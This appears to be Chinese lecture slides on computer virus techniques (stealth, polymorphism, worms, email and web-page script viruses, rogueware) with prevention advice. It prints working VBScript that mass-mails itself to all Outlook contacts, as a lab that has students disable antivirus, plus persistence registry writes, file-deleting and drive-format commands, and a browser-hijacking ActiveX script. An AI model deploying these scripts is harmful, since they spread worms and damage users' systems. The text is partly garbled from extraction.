– 截获 INT
21H,然后恢复感染区
– 最后,再进行感染
DOS命令解释程序 ( COMMAND..COM)
感染后的 INT 21H功能 40H( 加载一个程序执行 )
用户敲入 AV.EXE执行反病毒程序恢复被病毒感染的扇区为原来的内容原来的 INT21H功能重新感染扇区返回 DOS命令解释程序 ( COMMAND..COM)
文件型病毒的隐藏技术
拦截( API,INT调用)访问 ——〉 恢复 ——〉
再感染。例如,改变文件大小病毒,dir病毒等
DOSINT21H调用
INT13H( 直接磁盘访问 )
列目录功能 ( FindFirst,FindNext)
读写功能 ( Read,Write)
执行功能 ( EXEC)
其他功能 ( rename等 )
视窗操作系统下,支持长文件名的扩展 DOS
调用隐藏病毒扇区列目录时显示感染前的文件大小读写文件看到正常的文件内容执行或者搜索时隐藏病毒在支持长文件名的系统隐藏自身宏病毒的隐藏技术
删除相关的菜单项:“文件- >模板”或者
“工具- >宏”
使用宏病毒自己的 FileTemplates和
ToolsMacro宏替代系统缺省的宏
6 多态性病毒技术
多态病毒就是没有特殊特征码的病毒,这种病毒无法(或极难)用特征码扫描法检测到。
方法:
– 使用不固定的密钥或者随机数加密病毒代码
– 运行的过程中改变病毒代码
– 通过一些奇怪的指令序列实现多态性
BASIC,Shell等解释性语言可以在一行包括很多语句。
使用加密技术的多态性
MOVreg_1,count
MOVreg_2,key
MOVreg_3,offset
LOOP:
xxx byteptr[reg_3],reg_2
DECreg_1
Jxx LOOP
其中,reg_1,reg_2和 reg_3是从 AX,BX,CX,DX,SI,DI,BP中随机挑选的寄存器,感染不同的文件,解密代码使用随机的寄存器
count是加密数据的长度,key是加密的密钥,offset是加密代码的偏移量,感染的时候,这些数值都是随机生成的,不同的感染都不一样
xxx是 XOR,ADD,SUB等不同运算指令的通称,使用什么运算指令是感染的时候随机选择的
Jxx是 ja,jnc等不同条件跳转指令的通称,使用什么跳转指令也是感染的时候随机选择的加密后的病毒代码改变可执行代码技术的多态病毒
基本上都使用在宏病毒中,其他病毒少见。
– 宏语言都是以 BASIC为基础的。
引导型病毒
– 在引导区或者分区表中,包含了一小段代码来加载实际的病毒代码,这段代码在运行的过程中是可以改变的。
文件型病毒
–,厚度”( Ply)病毒
–,TMC‖病毒多态病毒的级别
半多态,病毒拥有一组解密算法,感染的时候从中间随机的选择一种算法进行加密和感染。
具有不动点的多态,病毒有一条或者几条语句是不变的(我们把这些不变的语句叫做不动点),其他病毒指令都是可变的。
带有填充物的多态,解密代码中包含一些没有实际用途的代码来干扰分析者的视线。
算法固定的多态,解密代码所使用的算法是固定的,但是实现这个算法的指令和指令的次序是可变的。
算法可变的多态,使用了上述所有的技术,同时解密算法也是可以部分或者全部改变的。
完全多态,算法多态,同时病毒体可以随机的分布在感染文件的各个位置,但是在运行的时候能够进行拼装,并且可以正常工作。
查杀技术
对于前面 3种多态病毒,可以使用病毒特征码或者改进后的病毒特征码
对于第 4种多态病毒,可以增加多种情况的改进后的特征码
至于第 5和第 6种多态病毒,依靠传统的特征码技术是完全无能为力的。
最好的办法是虚拟执行技术。
7 插入型病毒技术
DOS下较少
PE病毒大多数都是插入型病毒
– 例如,CIH
8 超级病毒技术
超级病毒技术就是在计算机病毒进行感染、
破坏时,使得病毒预防工具无法获得运行机会的病毒技术。
技术较难实现。
和杀毒技术相比,具有时效性。
9 破坏性感染技术
破坏性感染病毒是针对计算机病毒消除技术的一项病毒技术。
实例:
– Burge病毒是这类病毒的典型代表,该病毒会使宿主文件头部丢失 560字节;
– Hahaha病毒会使宿主程序丢失 13592字节。
传播性差 --〉 破坏面小
– 在潜伏期长的情况下,其传播性可以有所改观。
10 病毒自动生产技术
针对病毒分析的技术
两种类型:
– 根据简单的操作,自动生成病毒( PE,宏病毒等)
– 用自动生成技术实现变种( Mutation Engine)
11 网络病毒技术
网络病毒是指以网络为平台,对计算机产生安全威胁的所有程序的总和,
常见的几种:
– 木马病毒( Trojan)
– 蠕虫病毒( Worm)
– 邮件病毒
– 网页病毒二、流行病毒的关键技术
蠕虫病毒
利用 Outlook漏洞编写病毒
Webpage中的恶意代码
流氓软件
1 蠕虫病毒
蠕虫这个名词的由来是在 1982年,Shock和 Hupp
根据,The Shockwave Rider,一书中的概念提出了一种“蠕虫( Worm)”程序的思想。
蠕虫( Worm)是病毒的一种,它的传播通常不需要所谓的激活。它通过分布式网络来散播特定的信息或错误,进而造成网络服务遭到拒绝并发生死锁。
具有病毒共性:如传播性、隐蔽性、破坏性等
独有的性质:不利用文件寄生,对网络造成拒绝服务,以及和黑客技术相结合等等
两类:
– 一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果。以“红色 代码”、“尼姆达”以及最新的,SQL蠕虫王”为代表。
– 另外一种是针对个人用户的,通过网络(主要是电子邮件、恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒、求职信病毒为代 表。
和普通病毒的区别:
普通病毒 蠕虫病毒存在形式 寄存文件 独立程序传染机制 宿主程序运行 主动攻击传染目标 本地文件 网络计算机蠕虫病毒的特性
第一,利用漏洞主动进行攻击
第二,病毒制作技术新
第三,与黑客技术相结合,潜在的威胁和损失更大
第四,传染方式多
第五,传播速度快
第六,清除难度大
第七,破坏性强蠕虫病毒的机理
蠕虫病毒由两部分组成:一个主程序和另一个是引导程序。
– 主程序收集与当前机器联网的其他机器的信息。
利用漏洞在远程机上建立引导程序。
– 引导程序把“蠕虫”病毒带入了它所感染的每一台机器中。
当前流行的病毒主要采用一些已公开漏洞、
脚本、电子邮件等机制进行传播。例如,
IRC,RPC 等漏洞。
蠕虫病毒实例
MSN蠕虫病毒
1,基本特征:
– 名称,IM-Worm.Win32.Webcam.a
– 原始大小,188,928字节
– 压缩形式,PESpin
– 编写语言,Microsoft Visual Basic 6.0
– 文件名称,LMAO.pif,LOL.scr,
naked_drunk.pif等。
2.行为分析:
– ( 1)蠕虫运行后,将释放一个名为 CZ.EXE
文件到 C盘根目录,并将它拷贝到 %system%
目录下,文件名为 winhost.exe。然后,将文件属性设置为隐藏、只读、系统,同时将该文件创建时间改成同系统文件日期一样,进行欺骗迷惑。同时蠕虫会在 C盘跟目录随机生成一个文件,扩展名为 PIF或 EXE等,该文件用来向
MSN好友传播。此外,病毒还会在 %system%
目录下生成 msnus.exe,该文件为蠕虫自身拷贝。
( 2)将自身加入到注册表启动项目保证自身在系统重启动后被加载:
– 位置:
Software\Microsoft\Windows\CurrentVersion\Run
– 键名,win32
– 键值,winhost.exe
– 位置:
Software\Microsoft\Windows\CurrentVersion\RunServ
ices
– 键名,win32
– 键值,winhost.exe
( 3)蠕虫病毒会在 C盘根目录生成一个图片文件,名字为 sexy.jpg,并调用 jpg关联程序打开该图片。一般情况下,会用 IE打开该图片,打开后效果如下图。
( 4)开启本地 TCP10xx端口,
频繁连接目标:10.0.1.128:8080,接受黑客控制。
( 5)查找 MSN窗口,如果存在,则向好友列表中发送消息传播自身。
3,防范方案:
– ( 1)手工清除。按照上面的行为分析,终止并删除相关进程文件,修复注册表。
– ( 2)用户可以避免接收 MSN上发来的陌生附件,包括扩展名为 EXE或 SCR等的附件,来预防该蠕虫。
如何防范蠕虫
预防第一
工具保护
定期扫描你的系统
更新你的防病毒软件
不要轻易执行附件中的 EXE和 COM等可执行程序
不要轻易打开附件中的文档文件
不要直接运行附件
邮件程序设置
谨用预览功能
卸载 Scripting Host
警惕发送出去的邮件
2 利用 Outlook漏洞编写病毒
电子邮件成为新型病毒的重要载体
利用 Outlook漏洞传播的病毒:
–,爱虫( ILoveYou)”
–,美丽杀( Melissa)” ---宏病毒
–,库尔尼科娃”
–,主页 (HomePage)‖
–,欢乐时光( HappyTime)”
邮件病毒分类
附件方式:病毒的主要部分就隐藏在附件中。
–,主页 (HomePage)‖和“爱虫( ILoveYou)”病毒,它们的附件是 VBS文件,也就是病毒关键部分。
邮件本身:病毒并不置身于附件,而是藏身于邮件体之中。
–,欢乐时光( HappyTime)”病毒就是藏身于邮件体中,一旦用户将鼠标移至带毒邮件上,还未阅读邮件就已经中毒了。
嵌入方式:病毒仅仅把电子邮件作为其传播手段。
–,美丽杀( Melissa)”是一种隐蔽性、传播性极大的 Word 97/2K
宏病毒。尽管其核心内容是宏病毒,但在病毒体内有一块代码专门用来传播。当条件符合时,打开用户的电子邮件地址,向前 50
个地址发送被感染的邮件。
电子邮件型病毒的传播原理
自我复制
– Set
fso=CreateObject("Scripting.FileSystemObject
")
– fso.GetFile(WScript.ScriptFullName).Copy("C:
\temp.vbs")
这么两行代码就可以将自身复制到 c盘根目录下 temp.vbs这个文件。
传播 ——电子邮件病毒是通过电子邮件传播的。
– Set ola=CreateObject("Outlook.Application")
– On Error Resume Next
– For x=1 To 50
– Set Mail=ola.CreateItem(0)
– Mail.to=ola.GetNameSpace("MAPI").AddressLists(1).AddressEnt
ries(x)
– Mail.Subject="Betreff der E-Mail"
– Mail.Body="Text der E-Mail"
– Mail.Attachments.Add("C:\temp.vbs")
– Mail.Send
– Next
– ola.Quit
‘调整脚本语言的超时设置。
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\
Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
’修改注册表,使得每次系统启动时自动执行脚本
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run\MSKernel32",dirs
ystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunServices\Win32DL
L",dirwin&"\Win32DLL.vbs"
MSKernel32.vbs和 Win32DLL.vbs是病毒脚本的一个副本破坏性语句
打开磁盘格式化窗口
– Set obj = Wscript.CreateObject(―Wscript.Shell‖)
– Obj.Run ―rundll32.exe shell32.dll,SHFormatDrive‖
打开 Windows关闭窗口
– Set obj = Wscript.CreateObject(―Wscript.Application” )
– Obj.ShutdownWindows
删除当前目录中所有的,exe文件
– Set obj = Wscript.CreateObject(―Wscript.Shell‖)
– Obj.Run(,Command.com /C DEL *.EXE,0,False‖)
写注册表 (写入字符串,TestValue‖)
– Set obj = Wscript.CreateObject(―Wscript.Shell‖)
– Obj.RegWrite ―HKey_Local_Machine\Software\Microsoft‖,―TestValue‖
电子邮件型病毒预防
第一,不要轻易打开陌生人来信中的附件文件。
第二,对于比较熟悉的朋友们寄来的信件,也要注意其附件。
第三,切忌盲目转发。
第四,去掉 Windows脚本执行功能,禁止 VBS文件执行。
第五,不要隐藏系统中已知文件类型的扩展名称。
第六,将系统的网络连接的安全级别设置至少为“中等”,
第七,利用工具。
邮件型病毒实验
【 实验目的 】
– 掌握邮件型病毒基本原理
【 实验平台 】
– Windows XP操作系统
– Outlook邮件客户端
【 实验步骤 】
– Outlook设置用户帐号。
– Outlook地址薄添加联系人。
– 在实验机器上的 C:根目录下创建空文件
test.vbs。
– 关闭反病毒软件的实时防护功能。
– 把实验代码录入到 test.vbs文件里。
– 运行脚本文件,程序启动 Outlook(由于现在的
Outlook版本较高,Outlook会提示是否允许操作,请选择允许)发送邮件。
【 注意事项 】
– 1.为了不给你的地址薄联系人传送垃圾邮件,你可以先将地址薄中的联系人导出,然后添入实验用邮件地址。
实验结束后,再重新导入原来地址薄中的联系人。
– 2.程序运行后,打开实验用邮箱查看实验结果。一般而言,由于现在的邮件服务器都会对邮件进行扫面,所以传送了病毒的邮件不能传送到邮箱。解决办法是:
将程序中的一个语句 ObjMail.Attachments.Add
("c:\test.vbs") 删除,或者将附件 c:\test.vbs文件内容改为其他内容。
Test.vbs的内容
//code begin
Set objOA = Wscript.CreateObject("Outlook.Application")
Set objMapi = objOA.GetNameSpace("MAPI")
For i = 1 to objMapi.AddressLists.Count
Set objAddList = objMapi.AddressLists(i)
For j =1 To objAddList.AddressEntries.Count
Set objMail = objOA.CreateItem(0)
ObjMail.Recipients.Add(objAddList.AddressEntries(j))
ObjMail.Subject = "你好 !"
ObjMail.Body = "这次给你的附件时我实验题!如果收到附件轻不要下载,不要打开。 "
ObjMail.Attachments.Add("c:\test.vbs")
ObjMail.Sent
Next
Next
Set objMapi = Nothing
Set objOA = Nothing
//code end
4 Webpage中的恶意代码
WebPage中的恶意代码主要是指某些网站使用的恶意代码。这些代码打着是给用户加深“印象”、提供“方便”的旗号做令人厌恶的事情。
,万花谷”病毒脚本病毒基本类型
第一,基于 JAVAScript的脚本病毒
第二,基于 VBScript的脚本病毒
– 可以在 Office,浏览器,Outlook中运行,危害性较大。
第三,基于 PHP的脚本病毒
第四,脚本语言和木马程序结合的病毒病毒的工作机理
病毒利用了下面这段 JavaScript代码修改了
HKLM\SOFTWARE\Microsoft\Internet
Explorer\Main\ 和
HKCU\Software\Microsoft\Internet
Explorer\Main\ 中的 Window Title这个键的值。同时,病毒还修改了用户的许多 IE设置,如消除运行( RUN)按钮、消除关闭按钮、消除注销按钮、
隐藏桌面、隐藏盘符、禁止注册表等。以下就是这个病毒的代码:
document.write("");
//该函数是现在收藏夹里增加一个站点
function AddFavLnk(loc,DispName,SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" +
DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//该函数是病毒的主函数,实现 COOKIES检查、
注册表修改等
function f(){
try
{
//声明一个 ActiveX对象
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
//创建几个实例
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents,cookies.indexOf("Chg") == -1)
{
//设置 IE起始页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
"http://www.on888.home.chinaren.com/");
//设置 COOKIES
var expdate = new Date((new Date()).getTime() + (1));
documents,cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//消除 RUN按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer\\NoRun",01,"REG_BINARY");
//消除关闭按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer\\NoClose",01,"REG_BINARY");
//消除注销按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer\\NoLogOff",01,"REG_BINARY");
//隐藏盘符
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer\\NoDrives","63000000","REG_DWORD");
//禁止注册表
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\System\\DisableRegistryTools","00000001","REG_DWORD");
//禁止运行 DOS程序
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\WinOldApp\\Disabled","00000001","REG_DWORD");
//禁止进入 DOS模式
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies
\\WinOldApp\\NoRealMode","00000001","REG_DWORD");
//开机提示窗口标题
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon
\\LegalNoticeCaption","你已经中毒 …");
//开机提示窗口信息
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon
\\LegalNoticeText","你已经中毒 …");
//设置 IE标题
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title",
"你已经中毒 …");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title",
"你已经中毒 …");
}
}
catch(e)
{}
}
catch(e)
{}
}
//初始化函数
function init()
{
setTimeout("f()",1000);
}
//开始执行
init();
网络炸弹
//首先声明插入脚本为 JavaScript
<script language="JavaScript">
//定义不断打开新窗口的函数 openwindows(),所带参数表明打开窗口数量
function openwindows(number)
{ //循环
for (i = 0; i<number; i++)
{ //指定的页面
window.open("temp.jsp");
}
}
</script> //脚本结束标志类“万花筒病毒 ‖
‘声明脚本为 VBScript
<SCRIPT language='vbscript'>
定义函数 runVirus()
Function runVirus()
实验中弹出对话框告知学员病毒进程
msgbox("将要修改主页了! ")
执行注册表改写 1,把 IE主键修改成 ★ Your Home Page★
Rw "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\
Main\Start Page","★ Your Home Page★ ","REG_SZ"
msgbox("修改主页完成,查看一下吧! ")
msgbox("将要隐藏 A盘盘符! ")
执行注册表改写 2:隐藏 A盘盘符
Rw
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersi
on
\Policies\Explorer\NoDrives","00000001","REG_DWORD"
msgbox("A盘盘符消失! ")
msgbox("注册表工具将要被禁用! ")
执行注册表改写 3:禁用注册表编辑器
Rw
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer
sion
\Policies\System\DisableRegistryTools","00000001",
"REG_DWORD"
msgbox("注册表工具禁用! ")
End Function
注册表写函数
Sub Rw(k,v,t)
Dim R
On Error Resume Next
关键步骤,调用 WScript.Shell对象来获得修改权利
Set R = CreateObject("WScript.Shell")
调用 WScript.Shell的方法来写注册表
R.RegWrite k,v,t
End Sub
注册表读函数
Function Rg(v)
Dim R
On Error Resume Next
关键步骤,调用 WScript.Shell对象来获得读取权利
Set R = CreateObject("WScript.Shell")
调用 WScript.Shell的方法来读注册表
Rg = R.RegRead(v)
End Function
插入脚本结束
</SCRIPT>
流氓软件
流氓软件定义
– 第一个定义:流氓软件是指具有一定的实用价值但具备电脑病毒和黑客的部分行为特征的软件。它处在合法软件和电脑病毒之间的灰色地带,他会使你无法卸载、并强行弹出广告和窃取用户的私人信息等危害。
– 第二个定义:流氓软件是介于病毒和正规软件之间的软件,同时具备正常功能 (下载、媒体播放等 )和恶意行为 (弹广告、开后门 ),给用户带来实质危害。它们往往采用特殊手段频繁弹出广告窗口,危及用户隐私,严重干扰用户的日常工作、数据安全和个人隐私。
流氓软件是中国大陆对网络上散播的符合如下条件的软件的一种称呼:
– 1、采用多种社会和技术手段,强行或者秘密安装,并抵制卸载;
– 2、强行修改用户软件设置,如浏览器主页,软件自动启动选项,安全选项;
– 3、强行弹出广告,或者其他干扰用户占用系统资源行为;
– 4、有侵害用户信息和财产安全的潜在因素或者隐患;
– 5、未经用户许可,或者利用用户疏忽,或者利用用户缺乏相关知识,秘密收集用户个人信息、秘密和隐私。
应对政策
国外监管制度,2004年美国犹他州通过了第一个针对流氓软件的立法,Spyware Control Act》,
此后又有 18个州完成了立法。
中国:积极开展治理流氓软件活动,2006 年 9 月
4 日,一个非盈利性的专门打击流氓软件的民间组织 ——中国反流氓软件联盟成立。中国互联网协会于同年 12 月 27 日举行了“治理恶意软件、
保护网民权益”的动员大会暨,抵制恶意软件自律公约,签约仪式。
主要特征
1,强迫性安装:
– 不经用户许可自动安装;
– 不给出明显提示,欺骗用户安装;
– 反复提示用户安装,使用户不胜其烦而不得不安装等。
2,无法卸载:
– 正常手段无法卸载;
– 无法完全卸载;
– 不提供卸载程序,或者提供的卸载程序不能用等。
3,干扰正常使用:
– 频繁弹出广告窗口;
– 引导用户使用某功能等。
4,具有病毒和黑客特征:
– 窃取用户信息;
– 耗费机器资源等发展过程
1,恶意网页代码时代( 2001年~ 2002年)
2,插件时代( 2003年~ 2005年)
3,软件捆绑时代( 2005年至今)
4,流氓软件病毒化时代( 2006年下半年至今)
流氓软件分类
1、广告软件( Adware)
2、间谍软件 (Spyware)
3、浏览器劫持
4、行为记录软件( Track Ware)
5、恶意共享软件 (malicious shareware)
反流氓软件工具
1,恶意软件清理助手
2,瑞星卡卡上网安全助手
3,金山毒霸系统清理专家
4,奇虎 360安全卫士
5,微软反间谍软件( Microsoft Antispyware)
6,完美卸载
7,超级兔子网络卫士
8,Wopti流氓软件清除大师